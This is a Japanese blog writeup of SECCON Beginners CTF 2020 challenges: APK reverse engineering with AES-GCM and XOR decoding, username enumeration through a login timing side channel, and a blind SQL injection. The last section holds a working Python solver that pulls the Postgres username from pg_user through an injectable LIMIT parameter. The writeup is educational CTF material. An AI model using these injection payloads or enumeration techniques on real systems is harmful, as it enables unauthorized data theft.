La Vie en Lorse

敗者色の人生

SECCON beginners CTF 2020 writeup

5月23日から5月24日にかけて開催された SECCON beginners CTF 2020 に参加し,チーム「KUDoS」は1009チーム中3位でした.

f:id:Lorse:20200524154138p:plain

私が解いた問題のWriteupを書いていきます.

Rev

siblangs (37 solves)

f:id:Lorse:20200524155809p:plain

apkファイルが配布されているので,ダウンロードしてzip展開します.中にあるclass.dexをjadxでデコンパイルしてアプリのコードを見ていきます.

f:id:Lorse:20200524155620p:plain

ValidateFlagModuleがいかにも怪しいので見ていきます.

package es.o0i.challengeapp.nativemodule;

import com.facebook.react.bridge.Callback;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.bridge.ReactContextBaseJavaModule;
import com.facebook.react.bridge.ReactMethod;
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class ValidateFlagModule extends ReactContextBaseJavaModule {
    private static final int GCM_IV_LENGTH = 12;
    private final ReactApplicationContext reactContext;
    private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
    private final SecureRandom secureRandom = new SecureRandom();

    public String getName() {
        return "ValidateFlagModule";
    }

    public ValidateFlagModule(ReactApplicationContext reactApplicationContext) {
        super(reactApplicationContext);
        this.reactContext = reactApplicationContext;
    }

    @ReactMethod
    public void validate(String str, Callback callback) {
        byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30};
        try {
            Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
            instance.init(2, this.secretKey, new GCMParameterSpec(128, bArr, 0, 12));
            byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12);
            byte[] bytes = str.getBytes();
            for (int i = 0; i < doFinal.length; i++) {
                if (bytes[i + 22] != doFinal[i]) {
                    callback.invoke(false);
                    return;
                }
            }
            callback.invoke(true);
        } catch (Exception unused) {
            callback.invoke(false);
        }
    }
}

validateメソッドにおいて,callback.invoke(true);まで到達するようなstrを調べれば良さそうです.単純にdoFinalと比較してるだけなので,doFinalを出力するように修正します.

import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class Main {
    public static void main(String[] args) throws Exception {
        final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
        byte[] bArr = {95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30};
        Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
        instance.init(2, secretKey, new GCMParameterSpec(128, bArr, 0, 12));
        byte[] doFinal = instance.doFinal(bArr, 12, bArr.length - 12);
        String Str = new String(doFinal, "US-ASCII");
        System.out.println(Str);
    }
}

これを実行すると,1pt_3verywhere}が出力されました.

さて,フラグの残りはどこにあるのでしょうか.一旦,先程展開したフォルダ全体でctf4bで検索をかけてみます.

f:id:Lorse:20200524161603p:plain

index.android.bundleが引っかかりました.このファイルはReactNativeをビルドしたときに生成されるアセットのようです. 引っかかった行の周辺を調べると,次のようなコードが見つかりました.

((t = y.call.apply(y, [this].concat(n))).state = {
  flagVal: "ctf4b{",
  xored: [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27],
}),
(t.handleFlagChange = function (o) {
t.setState({ flagVal: o });
}),
(t.onPressValidateFirstHalf = function () {
if ("ios" === h.Platform.OS) {
    for (
    var o = "AKeyFor" + h.Platform.OS + "10.3", l = t.state.flagVal, n = 0;
    n < t.state.xored.length;
    n++
    )
    if (
        t.state.xored[n] !==
        parseInt(l.charCodeAt(n) ^ o.charCodeAt(n % o.length), 10)
    )
        return void h.Alert.alert("Validation A Failed", "Try again...");
    h.Alert.alert(
    "Validation A Succeeded",
    "Great! Have you checked the other one?"
    );
} else
    h.Alert.alert(
    "Sorry!",
    "Run this app on iOS to validate! Or you can try the other one :)"
    );
});

oとxorを取った結果がxoredと同じになるような文字列を調べれば良さそうです.

o = "AKeyFor" + "ios" + "10.3"
xored = [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]

for i in range(len(xored)):
    print(chr(xored[i] ^ ord(o[i % len(o)])), end="")

ctf4b{jav4_and_j4va5crが出力されました.

あとは,後半部分と合わせることでフラグが得られました.

flag: ctf4b{jav4_and_j4va5cr1pt_3verywhere}

Web

Spy (441 Solves)

f:id:Lorse:20200524163405p:plain

与えられたURLにアクセスします.

f:id:Lorse:20200524163506p:plain

ログイン画面です.ページの下部にはご丁寧に処理時間も表示されています.Challenge Pageに飛んでみましょう.

f:id:Lorse:20200524163638p:plain

今の所よく分かりませんが,正解の組み合わせを選ぶページでしょう.

では配布されたソースコードを見ていきます.

import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()
    
    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"
        
        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

/challengeのコードから,dbに存在するアカウントの組み合わせを選ぶとフラグが得られることがわかります.

では,dbに存在するアカウントはどのようにして知ることが出来るでしょうか?

ログインページのコードを見てみると,dbに存在するアカウントのユーザーネームでログインしようとしたときのみ,パスワードのvalidateが行われます.このvalidateのときに,ハッシュ化を複数回行っています(ストレッチング).試しに,いくつかのユーザーでログインしてみましょう.

f:id:Lorse:20200524165427p:plain
Arthurでログイン

f:id:Lorse:20200524165401p:plain
Elbertでログイン

Elbertでログインするときのほうが処理時間が長くなっています.つまり,Elbertはdbに存在するため,ストレッチングの処理が行われ,処理時間が長くなっています. 逆に言えば,処理時間が長ければそのユーザーはdbに存在することがわかります.

あとは,26人の全ユーザーでログインして,処理時間が長いユーザーを調べていけばいいだけです.

flag:ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore(150 solves)

f:id:Lorse:20200524165534p:plain

与えられたURLにアクセスします.

f:id:Lorse:20200524170224p:plain

@ctf4bのツイートを検索できるサイトのようです.キーワードで絞ったり,表示数を限定することが出来ます.

配布されたソースコードを見ます.

package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"
 
    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets


    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        http.Error(w, http.StatusText(500), 500)
        return
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    initialize()

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}

postgresが使われており,dbに接続するときのuser名がフラグになっています.postgresのユーザー情報はpg_userに格納されているので,このテーブルからユーザー名であるusenameカラムの値を抜き取れば良さそうです.

SQL文をどのように組み立てているか,見ていきましょう.

var sql = "select url, text, tweeted_at from tweets"

search, ok := r.URL.Query()["search"]
if ok {
    sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}

sql += " order by tweeted_at desc"

limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
    sql += " limit " + strings.Split(limit[0], ";")[0]
}

searchクエリは"が削除されるため,SQLインジェクション出来そうにありません.一方で,limitクエリでは,CASE文を使うことでBlindSQLインジェクションが出来そうです.

例えば,limit=(CASE WHEN (SELECT ascii(substr(usename, 0, 1)) FROM pg_user LIMIT 1) = 99 THEN 1 ELSE 0 END)とすると,pg_userから1レコード取り出して,そのレコードのusenameの1文字目がc(アスキー値で99)ならばツイートが1つ表示されます.逆にcでなければ何も表示されません.

この挙動を利用することで,usenameを1文字ずつ特定することが出来ます.以下のコードがsolverです.

import requests


def judge(html):
    return "1 of 200 tweets are displayed. enjoy" in html


url = "http://tweetstore.quals.beginners.seccon.jp"


def leak_usename():
    leak = ""
    for j in range(1, 1000):
        for i in range(126, 32, -1):
            buf = f"(CASE WHEN (SELECT ascii(substr(usename, {j}, 1)) FROM pg_user LIMIT 1 OFFSET 1) = {i} THEN 1 ELSE 0 END)"
            params = {"search": "a", "limit": buf}
            print(buf)
            res = requests.get(url, params=params)
            if judge(res.text):
                leak += chr(i)
                print(f"[+] now:{leak}")
                break
        if len(leak) != j:
            print(f"[*] {leak}")
            break

leak_usename()

flag: ctf4b{is_postgres_your_friend?}